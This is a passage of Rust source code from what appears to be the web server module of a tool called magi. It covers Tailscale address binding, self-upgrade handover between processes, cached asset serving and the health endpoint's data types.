1810    // image on Linux or the renamed old image on Windows.
1811    crate::worker::remember_current_executable()?;
1812    let executable = std::env::current_exe().context("find the installed web executable")?;
1813    let (addr, warning) = resolve_bind(&opts.bind);
1814    if let Some(warning) = warning {
1815        tracing::warn!("{warning}");
1816    }
1817
1818    // Process-global, and therefore set exactly once, here: the report route
1819    // must never emit escape sequences into a browser, and toggling the flag
1820    // per request would race with a concurrent request rendering its own
1821    // report. Startup is the only moment at which no request can observe the
1822    // change. Nothing in the server turns colour back on.
1823    report::set_color(false);
1824
1825    let repo = normalize_default_repo(opts.repo).await;
1826    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1827    // The listener and periodic checker share one upgrade gate and state.
1828    let home = ui.home.clone();
1829    let admissions = Arc::clone(&ui.admissions);
1830    // Settles a progress record a predecessor left non-terminal - either this
1831    // *is* the successor `spawn_successor` started, or the previous process
1832    // died mid-handover. Before the router starts answering, so the very
1833    // first `/api/health` a phone gets from this process already reflects it.
1834    updater::reconcile_after_restart(&home);
1835    updater::log_step(
1836        &home,
1837        &format!(
1838            "web process started (version {}); handover log {}, successor output {}",
1839            env!("CARGO_PKG_VERSION"),
1840            updater::log_path(&home).display(),
1841            home.join(WEB_LOG).display()
1842        ),
1843    );
1844    updater::spawn_watchdog(home.clone());
1845    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1846    // `spawn_update_check` does at startup only ever runs once: after that,
1847    // `/api/health`'s `update` field - and the phone's "Update & restart"
1848    // button, which reads the very same cache - would stay frozen on
1849    // whatever that single check found, no matter how many releases ship
1850    // afterwards. The periodic checker below keeps it current and is
1851    // cancelled when the listener finishes.
1852    let port = if opts.port == 0 {
1853        std::env::var(RESTART_PORT_ENV)
1854            .ok()
1855            .and_then(|value| value.parse::<u16>().ok())
1856            .filter(|port| *port != 0)
1857            .unwrap_or(0)
1858    } else {
1859        opts.port
1860    };
1861    let socket = SocketAddr::new(addr, port);
1862    let listener = bind_waiting(socket).await?;
1863    let bound = listener.local_addr().context("read bound web address")?;
1864    let port = bound.port();
1865    let url = format!("http://{bound}");
1866    tracing::info!(
1867        "magi web UI on {url} - there is no authentication, so anyone who can \
1868         reach this address can file and hold tasks: the tailnet is the \
1869         security boundary"
1870    );
1871    // A legacy predecessor may request first-migration scheduler startup.
1872    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
1873        ui.start_detached_loop()
1874            .await
1875            .map_err(|e| anyhow::anyhow!(e.message))?;
1876    }
1877    if opts.open {
1878        // The URL alone on stdout, for a caller that wants to open it. magi
1879        // does not spawn a browser: on the machine this usually runs on there
1880        // is no display, and a failed launch would be the only output.
1881        println!("{url}");
1882    }
1883
1884    // On its own task, so nothing this function awaits can stop the address
1885    // being answered. `hand_over` is where it is given up.
1886    let recheck_ui = ui.clone();
1887    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
1888    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
1889    let interrupted = async {
1890        if tokio::signal::ctrl_c().await.is_err() {
1891            // No handler on this platform, so there is no signal to act on.
1892            // Never resolving is the safe answer: a failed registration must
1893            // not masquerade as the operator asking for a shutdown and take
1894            // the UI down on startup.
1895            std::future::pending::<()>().await;
1896        }
1897    };
1898    let handover = wait_for_handover(&HANDOVER);
1899    let outcome = tokio::select! {
1900        joined = &mut served => match joined {
1901            Ok(outcome) => outcome.context("serve the web UI"),
1902            Err(e) => Err(e).context("the task serving the web UI ended"),
1903        },
1904        () = interrupted => {
1905            recheck.abort();
1906            tracing::info!("shutting down the web UI; detached workers continue");
1907            close_admissions(&admissions).await;
1908            served.abort();
1909            let _ = served.await;
1910            Ok(())
1911        }
1912        () = handover => {
1913            recheck.abort();
1914            let successor_home = home.clone();
1915            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
1916        }
1917    };
1918    recheck.abort();
1919    let _ = recheck.await;
1920    updater::log_step(
1921        &home,
1922        &match &outcome {
1923            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1924            Err(e) => format!("serve: returning an error: {e:#}"),
1925        },
1926    );
1927    outcome
1928}
1929
1930/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1931/// process's own working directory is not a git checkout at all - the
1932/// checkout [`repos::discover_verified`] finds instead.
1933///
1934/// Only the unmodified default is ever replaced: an operator who named a
1935/// directory outright, git checkout or not, gets exactly that directory
1936/// back, and the same story downstream (a talk whose briefing embeds a
1937/// non-git directory, and an agent that has to ask the operator where the
1938/// real repository is) that has always told them so - substituting a guess
1939/// for an explicit answer would be a second, silent opinion about what they
1940/// meant. There is no instruction or task text yet to match against this
1941/// early, so only [`repos::discover_verified`]'s own-repository tier can
1942/// ever settle this - the hint tier never fires here.
1943///
1944/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1945/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1946/// or a git installation that is broken in exactly the way that made the
1947/// original `canonical` check above fail too - so it is re-checked with
1948/// `git::toplevel` before it is ever used in place of the operator's own
1949/// directory.
1950async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1951    if repo != FsPath::new(".") {
1952        return repo;
1953    }
1954    let Ok(canonical) = repo.canonicalize() else {
1955        return repo;
1956    };
1957    if git::toplevel(&canonical).await.is_ok() {
1958        return repo;
1959    }
1960    let Some(home) = dirs::home_dir() else {
1961        return repo;
1962    };
1963    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1964        Some(found) => {
1965            tracing::info!(
1966                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1967                canonical.display(),
1968                found.path.display(),
1969                found.reason,
1970            );
1971            found.path
1972        }
1973        None => repo,
1974    }
1975}
1976
1977/// Close new ingress and finish only transactions publishing durable work.
1978/// The writer waits for owned admission guards, not task or chat turn leases.
1979async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
1980    *admissions.write().await = true;
1981}
1982
1983/// Restart only the scheduler and web listener, never their execution workers.
1984/// The old listener must be fully released before the successor is started.
1985async fn hand_over(
1986    home: &FsPath,
1987    admissions: &tokio::sync::RwLock<bool>,
1988    served: tokio::task::JoinHandle<std::io::Result<()>>,
1989    successor: impl FnOnce() -> Result<u32>,
1990) -> Result<()> {
1991    close_admissions(admissions).await;
1992    if let Some(mut progress) = updater::read_progress(home) {
1993        progress.advance(updater::Stage::Restarting);
1994        progress.detail =
1995            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
1996        updater::write_progress_logged(home, &progress);
1997    }
1998    updater::log_step(
1999        home,
2000        "restarting scheduler without parking execution workers",
2001    );
2002    let scheduler = daemon::restart_detached(home).await;
2003    if let Err(error) = &scheduler {
2004        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2005        updater::log_warn(
2006            home,
2007            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2008        );
2009    }
2010    updater::log_step(home, "releasing the web listener");
2011    served.abort();
2012    let _ = served.await;
2013    updater::log_step(home, "web listener released; starting the successor");
2014    match successor() {
2015        Ok(pid) => {
2016            updater::log_step(home, &format!("successor started, pid {pid}"));
2017            scheduler
2018        }
2019        Err(e) => {
2020            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2021            Err(e)
2022        }
2023    }
2024}
2025
2026/// Resolve `--bind` to an address, plus a warning when the answer is not what
2027/// the operator asked for.
2028///
2029/// Split out from [`serve`] because the interesting half - deciding whether
2030/// Tailscale gave us something usable - is testable without opening a socket.
2031pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2032    match bind {
2033        Bind::Addr(addr) => (*addr, None),
2034        Bind::Auto => match tailscale_ip() {
2035            Ok(ip) => (IpAddr::V4(ip), None),
2036            Err(why) => (
2037                IpAddr::V4(Ipv4Addr::LOCALHOST),
2038                Some(format!(
2039                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2040                     local-only and a phone cannot reach it; start Tailscale \
2041                     or pass --bind <addr>"
2042                )),
2043            ),
2044        },
2045    }
2046}
2047
2048/// This machine's Tailscale IPv4, or why there is not one.
2049///
2050/// `tailscale ip -4` is a local call against the running daemon and returns in
2051/// milliseconds, so it is fine to make it synchronously before the server
2052/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2053/// CGNAT block Tailscale assigns from, and anything else on that output would
2054/// be a different tool answering.
2055fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2056    let out = std::process::Command::new("tailscale")
2057        .args(["ip", "-4"])
2058        .quiet()
2059        .output()
2060        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2061    if !out.status.success() {
2062        let why = String::from_utf8_lossy(&out.stderr);
2063        let why = why.trim();
2064        return Err(format!(
2065            "`tailscale ip -4` failed ({}){}",
2066            out.status,
2067            if why.is_empty() {
2068                String::new()
2069            } else {
2070                format!(": {why}")
2071            }
2072        ));
2073    }
2074    String::from_utf8_lossy(&out.stdout)
2075        .lines()
2076        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2077        .find(is_tailnet)
2078        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2079}
2080
2081/// Is this address in the CGNAT block Tailscale hands out from?
2082fn is_tailnet(ip: &Ipv4Addr) -> bool {
2083    let o = ip.octets();
2084    o[0] == 100 && (64..=127).contains(&o[1])
2085}
2086
2087/// What every handler returns. Spelled out because `Result` in this crate is
2088/// `anyhow::Result`, and a handler's error is a status code as much as a
2089/// message.
2090type ApiResult<T> = std::result::Result<T, ApiError>;
2091
2092/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2093#[derive(Debug)]
2094struct ApiError {
2095    status: StatusCode,
2096    message: String,
2097    text_reason: Option<crate::question_delivery::UnavailableReason>,
2098}
2099
2100impl ApiError {
2101    /// The client asked for something malformed.
2102    fn bad_request(message: impl Into<String>) -> Self {
2103        Self {
2104            text_reason: None,
2105            status: StatusCode::BAD_REQUEST,
2106            message: message.into(),
2107        }
2108    }
2109
2110    /// No such run or task.
2111    fn not_found(message: impl Into<String>) -> Self {
2112        Self {
2113            text_reason: None,
2114            status: StatusCode::NOT_FOUND,
2115            message: message.into(),
2116        }
2117    }
2118
2119    /// Someone else owns the thing the client wants to change.
2120    /// Re-badge an error whose default mapping is wrong for this route.
2121    fn with_status(mut self, status: StatusCode) -> Self {
2122        self.status = status;
2123        self
2124    }
2125
2126    /// A rules violation from a domain type, reported as the caller's fault.
2127    /// `Question::answer` rejects an unoffered choice, and that is a bad
2128    /// request, not a server error.
2129    fn bad_request_from(e: anyhow::Error) -> Self {
2130        Self::bad_request(format!("{e:#}"))
2131    }
2132
2133    fn conflict(message: impl Into<String>) -> Self {
2134        Self {
2135            text_reason: None,
2136            status: StatusCode::CONFLICT,
2137            message: message.into(),
2138        }
2139    }
2140
2141    /// Our fault, or the disk's.
2142    fn internal(message: impl Into<String>) -> Self {
2143        Self {
2144            text_reason: None,
2145            status: StatusCode::INTERNAL_SERVER_ERROR,
2146            message: message.into(),
2147        }
2148    }
2149}
2150
2151impl From<anyhow::Error> for ApiError {
2152    /// Errors from `queue` and `run` carry their context chain, and the whole
2153    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2154    /// value at line 3" is a message an operator can act on, and there is no
2155    /// secret in a path on a single-user tailnet.
2156    fn from(e: anyhow::Error) -> Self {
2157        Self::internal(format!("{e:#}"))
2158    }
2159}
2160
2161impl IntoResponse for ApiError {
2162    fn into_response(self) -> Response {
2163        let mut body = serde_json::json!({ "error": self.message });
2164        if let Some(reason) = self.text_reason {
2165            body["code"] = serde_json::json!("question_text_unavailable");
2166            body["reason"] = serde_json::json!(reason);
2167        }
2168        (self.status, Json(body)).into_response()
2169    }
2170}
2171
2172/// Run a handler's filesystem work off the executor.
2173///
2174/// Every route that touches the disk goes through here rather than each one
2175/// arguing about whether its own read is small enough. Uniform because the
2176/// expensive case is not rare: `run.json` for a finished competition holds
2177/// every judgement, deliberation turn and review round, so listing a few
2178/// hundred runs is megabytes of parsing, and the executor threads doing it are
2179/// the same ones serving the change stream of every other connected phone.
2180async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2181where
2182    T: Send + 'static,
2183{
2184    #[cfg(test)]
2185    let job = request_cost::carry(job);
2186    match tokio::task::spawn_blocking(job).await {
2187        Ok(result) => result,
2188        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2189    }
2190}
2191
2192/// Bulk readers have a bounded, separate execution lane. A cold health
2193/// index or multiple slow list clients cannot occupy the pool serving detail.
2194async fn bulk_blocking<T>(
2195    slots: Arc<tokio::sync::Semaphore>,
2196    job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2197) -> ApiResult<T>
2198where
2199    T: Send + 'static,
2200{
2201    let permit = slots
2202        .acquire_owned()
2203        .await
2204        .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2205    let (send, receive) = tokio::sync::oneshot::channel();
2206    #[cfg(test)]
2207    let job = request_cost::carry(job);
2208    let runtime = tokio::runtime::Handle::current();
2209    std::thread::Builder::new()
2210        .name("web-bulk".into())
2211        .spawn(move || {
2212            let _permit = permit;
2213            // Capacity observations schedule their independent blocking job.
2214            let _runtime = runtime.enter();
2215            let _ = send.send(job());
2216        })
2217        .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2218    receive
2219        .await
2220        .map_err(|_| ApiError::internal("Bulk reader failed"))?
2221}
2222
2223/// Cache policy for the three compiled-in front-end files.
2224///
2225/// The whole interface is `include_str!`ed into the binary, so its content
2226/// changes only when the binary does - and a phone that keeps a copy is
2227/// welcome to, right up until the deck is replaced. Without a single cache
2228/// header, browsers were free to invent their own policy, and one did:
2229/// yukimemi's phone went on showing "Candidates must be folded before
2230/// deleting. Run `magi fold` first." - a sentence deleted two releases
2231/// earlier - from a run detail served by a deck that no longer contained it.
2232/// The delete button he was told about was right there, and unreachable.
2233///
2234/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2235/// every time, the answer is a 304 costing one small round trip while the
2236/// deck is unchanged, and the moment it is replaced the tag differs and the
2237/// new interface arrives. Correctness over bytes - this is one file of a few
2238/// tens of kilobytes on a tailnet, and being a version behind is not a
2239/// cosmetic problem when the difference is whether a button exists.
2240const ASSET_CACHE: &str = "no-cache, must-revalidate";
2241
2242/// `ETag` for the compiled-in assets, distinct per build.
2243///
2244/// The version alone would leave a locally built deck - `cargo install
2245/// --path .` twice at the same version, which is the normal way to iterate -
2246/// serving a stale tag for changed bytes. The build timestamp is what makes
2247/// two builds of `0.3.0` differ.
2248fn asset_etag() -> &'static str {
2249    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2250        format!(
2251            "\"{}-{}\"",
2252            env!("CARGO_PKG_VERSION"),
2253            // Length is a cheap, deterministic stand-in for a hash: the
2254            // three files are compiled in together, so any edit to any of
2255            // them almost certainly changes the total, and a rebuild is what
2256            // this needs to track rather than every possible byte pattern.
2257            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2258        )
2259    });
2260    &TAG
2261}
2262
2263/// Headers for a compiled-in asset of `mime`.
2264fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2265    [
2266        (header::CONTENT_TYPE, mime),
2267        (header::CACHE_CONTROL, ASSET_CACHE),
2268        (header::ETAG, asset_etag()),
2269    ]
2270}
2271
2272/// Serve a compiled-in asset, answering `304` when the client already has it.
2273///
2274/// axum does not compare `If-None-Match` for us, and a header the server sets
2275/// but never honours is worse than none: the phone revalidates on every load
2276/// and is handed the whole file back each time. Doing the comparison is what
2277/// makes `must-revalidate` cost one small round trip rather than the
2278/// interface.
2279fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2280    let tag = asset_etag();
2281    let known = headers
2282        .get(header::IF_NONE_MATCH)
2283        .and_then(|v| v.to_str().ok())
2284        // A revalidating client may send several, and a proxy may weaken the
2285        // tag to `W/"..."`; matching on containment covers both without
2286        // parsing the grammar.
2287        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2288    if known {
2289        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2290    }
2291    (asset_headers(mime), body).into_response()
2292}
2293
2294async fn index(headers: header::HeaderMap) -> Response {
2295    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2296}
2297
2298async fn app_css(headers: header::HeaderMap) -> Response {
2299    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2300}
2301
2302async fn app_js(headers: header::HeaderMap) -> Response {
2303    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2304}
2305
2306/// What `/api/health` answers.
2307#[derive(Debug, Serialize)]
2308struct HealthView {
2309    version: &'static str,
2310    home: String,
2311    queue_rev: u64,
2312    runs_rev: u64,
2313    /// The same revisions [`events`] streams for the question and talk
2314    /// stores.
2315    ///
2316    /// Here because this route is what the front end falls back to when the
2317    /// change stream is not up - it re-polls health on a timer and on wake, and
2318    /// takes the revisions from the answer. Without these the fallback
2319    /// compares `undefined` against `undefined` for both stores, decides
2320    /// nothing moved, and a phone with a dead stream never learns that a
2321    /// question was asked or that a talk took a turn. `queue_rev` and
2322    /// `runs_rev` above have always been here for exactly this reason; the rule
2323    /// is that every revision the stream carries, this route carries too.
2324    questions_rev: u64,
2325    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2326    talks_rev: u64,
2327    /// See [`HealthView::questions_rev`]. The notification centre's store.
2328    notifications_rev: u64,
2329    /// Notifications nobody has read yet: the bell's badge before
2330    /// `/api/notifications` has answered.
2331    notifications_unread: usize,
2332    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2333    /// is not on disk anywhere, so a phone with no change stream has no other
2334    /// way to notice that the loop it is waiting on was started from another
2335    /// device.
2336    loop_rev: u64,
2337    /// Runs on disk whose state this build cannot parse - almost always a
2338    /// schema bump, occasionally a run killed mid-write.
2339    ///
2340    /// Reported because the list silently skips them, and "no competitions
2341    /// yet" is a lie when six of them are sitting in the runs directory. The
2342    /// terminal deck learned the same lesson: a run that fails to parse must
2343    /// not disappear from the count.
2344    runs_unreadable: usize,
2345    /// The disk, and what the runs and their worktrees occupy on it.
2346    ///
2347    /// This is the incident the janitor exists for: magi alone put 30 GB into
2348    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2349    /// is exactly where the operator learns "the disk is the constraint" -
2350    /// the diagnosis that a run is being held for want of space has to be
2351    /// checkable on the same screen.
2352    disk: Option<serde_json::Value>,
2353    /// Questions nobody has answered yet, including ones an owner talked
2354    /// back on and is now waiting for the agent's reply to. A round trip
2355    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2356    /// while the ball is in the agent's court - see
2357    /// [`crate::ask::Questions::count_open`].
2358    questions_open: usize,
2359    /// Of those, how many actually need the owner right now: open, and not
2360    /// [`crate::ask::Question::waiting_on_agent`].
2361    ///
2362    /// The one number that means "nothing will happen until a human acts" -
2363    /// a parked run consumes nothing and progresses never - and the count the
2364    /// ask bar, the nav badge and the document title fall back to before
2365    /// `/api/questions` has answered, so those notification channels clear
2366    /// the instant the owner asks back and reappear the instant the agent
2367    /// replies, instead of sitting lit for however long the agent thinks.
2368    questions_needs_owner: usize,
2369    daemon: DaemonView,
2370    /// The independently controllable scheduler, as `/api/loop` reports it.
2371    ///
2372    /// Here so a phone that has just woken needs one request to know whether
2373    /// anything is going to happen at all: `daemon` says a loop is alive
2374    /// somewhere, and this says whether it is one this UI can stop.
2375    #[serde(rename = "loop")]
2376    looping: LoopView,
2377    /// Whether a release newer than this build is known, and which.
2378    ///
2379    /// From [`updater::Checker::cached_update`] - the same throttled state the
2380    /// CLI's `notify` mode banners from - never a live check: this route is
2381    /// polled every few seconds, and a live check on each poll would spend
2382    /// GitHub's rate limit before the operator finished reading the strip.
2383    update: UpdateView,
2384    /// The self-upgrade this deck last set in motion, or `null` before the
2385    /// first one. Read off disk, so the successor can report what its
2386    /// predecessor started.
2387    upgrade: Option<UpgradeProgressView>,
2388    /// Detached jobs survive replacement of this web process. Each reports
2389    /// its own immutable executable generation rather than the web version.
2390    jobs: Vec<WorkerView>,
2391    upgrade_request_error: Option<UpgradeRequestFailure>,
2392}
2393
2394/// Public execution metadata only. Job payloads contain private configuration
2395/// and must never be returned by the health endpoint.
2396#[derive(Debug, Serialize)]
2397struct WorkerView {
2398    id: String,
2399    kind: String,
2400    key: String,
2401    pid: Option<u32>,
2402    status: crate::worker::Status,
2403    generation: String,
2404    version: Option<String>,
2405    queue_owned: bool,
2406}
2407
2408impl From<crate::worker::Job> for WorkerView {
2409    fn from(job: crate::worker::Job) -> Self {
2410        let queue_owned = job.kind == "task"
2411            && job
2412                .payload
2413                .get("standalone")
2414                .and_then(serde_json::Value::as_bool)
2415                != Some(true);
2416        Self {
2417            id: job.id,
2418            kind: job.kind,
2419            key: job.key,
2420            pid: job.pid,
2421            status: job.status,
2422            generation: job.generation,
2423            version: job.version,
2424            queue_owned,
2425        }
2426    }
2427}
2428
2429/// What `/api/health` knows about a release newer than this build.
2430///
2431/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2432/// is already the newest" from "never checked" - both are `None` - and the
2433/// phone needs to tell those apart to decide whether the deck can be trusted
2434/// to have an opinion at all.
2435#[derive(Debug, Clone, Serialize)]
2436struct UpdateView {
2437    /// A newer release is known to exist.
2438    available: bool,
2439    /// Its tag, when `available`.
2440    to: Option<String>,
2441}
2442
2443/// [`updater::Progress`] as `/api/health` reports it.
2444#[derive(Debug, Serialize)]
2445struct UpgradeProgressView {
2446    trigger: updater::UpgradeTrigger,
2447    stage: updater::Stage,
2448    from: String,
2449    to: Option<String>,
2450    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2451    /// the step it is finishing before the address is handed over.
2452    waiting_on: Option<String>,
2453    started_at: Timestamp,
2454    updated_at: Timestamp,
2455    detail: Option<String>,
2456    /// Seconds the stage has outlived its allowance, when it has - see
2457    /// [`updater::stall`]. `null` while the stage is moving normally.
2458    stuck_for_secs: Option<i64>,
2459    /// Which kind of stuck: `never_entered` (hand_over left no record of
2460    /// starting) or `stopped_beating`. `null` when not stuck.
2461    stuck_kind: Option<updater::StallKind>,
2462    /// `hand_over` is alive and waiting on the loop: however long that takes,
2463    /// it is not an overdue upgrade.
2464    handover_alive: bool,
2465}
2466
2467/// Whether [`run_update_recheck`] may act at all this tick.
2468///
2469/// The same two conditions [`updater::Checker::new`] and
2470/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2471/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2472/// GitHub from this process" - on a button press or on a timer alike.
2473fn should_spawn_recheck(cfg: &Update) -> bool {
2474    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2475}
2476
2477/// Whether this tick should actually reach the network, once checking itself
2478/// is allowed.
2479///
2480/// An upgrade already in flight must not be raced by a check that discovers
2481/// a *newer* release while one is still installing - a phone watching
2482/// `/api/health` would see the answer change out from under the upgrade it
2483/// already asked for. Past that, [`updater::Checker::should_check`] is the
2484/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2485/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2486/// polling period, is what keeps this task's network use to at most once per
2487/// `[update] interval` regardless of how often it wakes up.
2488fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2489    if progress.is_some_and(|p| !p.stage.terminal()) {
2490        return false;
2491    }
2492    checker.should_check()
2493}
2494
2495/// How long [`run_update_recheck`] sleeps before its next wake-up.
2496///
2497/// A fraction of the configured `[update] interval` rather than a fixed
2498/// number: a fixed sleep longer than a short custom interval would leave the
2499/// deck waiting on its own wake-up rather than on `should_check`, so an
2500/// operator who set `interval = "1m"` to make the UI catch up quickly would
2501/// not see that take effect until the next restart - exactly the bug this
2502/// task exists to fix, just moved one level down. Scaling with the interval
2503/// keeps the wake-up prompt relative to what was actually configured, while
2504/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2505/// still what caps the network calls themselves at one per interval,
2506/// regardless of how often this fires.
2507fn recheck_poll_period(cfg: &Update) -> Duration {
2508    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2509}
2510
2511#[derive(Debug, PartialEq, Eq)]
2512enum AutoUpgradeDecision {
2513    Skip(&'static str),
2514    Wait,
2515    Trigger,
2516}
2517
2518fn auto_upgrade_decision(
2519    cfg: &Update,
2520    disabled: bool,
2521    in_motion: bool,
2522    busy: bool,
2523    tag: &str,
2524    failed: Option<&str>,
2525) -> AutoUpgradeDecision {
2526    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2527        AutoUpgradeDecision::Skip("disabled")
2528    } else if in_motion {
2529        AutoUpgradeDecision::Skip("upgrade already in progress")
2530    } else if failed == Some(tag) {
2531        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2532    } else if busy {
2533        AutoUpgradeDecision::Wait
2534    } else {
2535        AutoUpgradeDecision::Trigger
2536    }
2537}
2538
2539/// Refresh the shared cache and optionally request the same handover as the UI.
2540async fn run_update_recheck(ui: Arc<Ui>) {
2541    loop {
2542        let cfg = match Config::discover(&ui.repo, None) {
2543            Ok((cfg, _)) => cfg,
2544            Err(e) => {
2545                updater::log_warn(
2546                    &ui.home,
2547                    &format!("auto-upgrade: config unavailable: {e:#}"),
2548                );
2549                tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2550                continue;
2551            }
2552        };
2553        if should_spawn_recheck(&cfg.update)
2554            && let Some(checker) = updater::Checker::new(&cfg.update)
2555        {
2556            let progress = updater::read_progress(&ui.home);
2557            let mut latest = checker.cached_update();
2558            if update_recheck_due(&checker, progress.as_ref()) {
2559                match checker.newer_release().await {
2560                    Ok(found) => latest = found,
2561                    Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2562                }
2563            }
2564            if cfg.update.auto_restart
2565                && let Some(latest) = latest
2566            {
2567                let response =
2568                    begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2569                updater::log_step(
2570                    &ui.home,
2571                    &format!("auto-upgrade: request status {}", response.status()),
2572                );
2573            }
2574        }
2575        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2576    }
2577}
2578
2579/// [`UpdateView`] from the same throttled, disk-only state
2580/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2581/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2582/// no cached state at all, which is correct: an operator who turned checking
2583/// off gets no opinion, not a stale one.
2584fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2585    let default;
2586    let cfg = match cfg {
2587        Some(cfg) => cfg,
2588        None => {
2589            default = Config::default();
2590            &default
2591        }
2592    };
2593    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2594    match latest {
2595        Some(latest) => UpdateView {
2596            available: true,
2597            to: Some(latest.tag_name),
2598        },
2599        None => UpdateView {
2600            available: false,
2601            to: None,
2602        },
2603    }
2604}
2605
2606/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2607/// from the parked run's own state when the stage is
2608/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2609/// already on disk in `run.json`, so this reads them fresh rather than
2610/// trusting whatever was true the moment the park was requested.
2611fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2612    let now = Timestamp::now();
2613    let lease = updater::read_lease(&ui.home);
2614    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2615    let run_id = alive
2616        .and_then(|l| l.parked_run.as_deref())
2617        .or(progress.parked_run.as_deref());
2618    let parking = progress.stage == updater::Stage::Parking;
2619    let waited = alive.map_or_else(String::new, |l| {
2620        let secs = updater::waited_secs(l, now);
2621        format!(" (waited {} min so far)", secs / 60)
2622    });
2623    let run_text = run_id
2624        .filter(|_| parking)
2625        .map(|id| match read_run(&ui.runs, id).ok() {
2626            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2627            None => format!("run {id} is finishing"),
2628        });
2629    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2630        .filter(|t| parking && !t.is_empty())
2631        .map(|t| format!("{t} finishing"));
2632    let waiting_on = match (run_text, talks_text) {
2633        (None, None) => None,
2634        (run, talks) => {
2635            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2636            Some(format!(
2637                "{} before the address is handed over{waited}",
2638                parts.join(" and ")
2639            ))
2640        }
2641    };
2642    let detail = progress
2643        .detail
2644        .clone()
2645        .or_else(|| updater::read_note(&ui.home, &progress));
2646    let stalled = updater::stall(&progress, lease.as_ref(), now);
2647    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2648    UpgradeProgressView {
2649        trigger: progress.trigger,
2650        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2651        stuck_kind: stalled.map(|s| s.kind),
2652        handover_alive: alive.is_some(),
2653        stage: progress.stage,
2654        from: progress.from,
2655        to: progress.to,
2656        waiting_on,
2657        started_at: progress.started_at,
2658        updated_at: progress.updated_at,
2659        detail,
2660    }
2661}
2662
2663/// Last successful capacity observations, independent of admission/cleanup.
2664/// Cold or unavailable directory measurements are null, never invented zeros.
2665#[derive(Debug, Serialize)]
2666struct DiskView {
2667    /// Free bytes on the volume holding the runs, when measurable.
2668    #[serde(skip_serializing_if = "Option::is_none")]
2669    free_bytes: Option<u64>,
2670    /// Everything the runs directory occupies, when fully measurable.
2671    runs_bytes: Option<u64>,
2672    /// Everything the runs' worktrees occupy.
2673    worktrees_bytes: Option<u64>,
2674    /// The shared build cache's size, when the config names one.
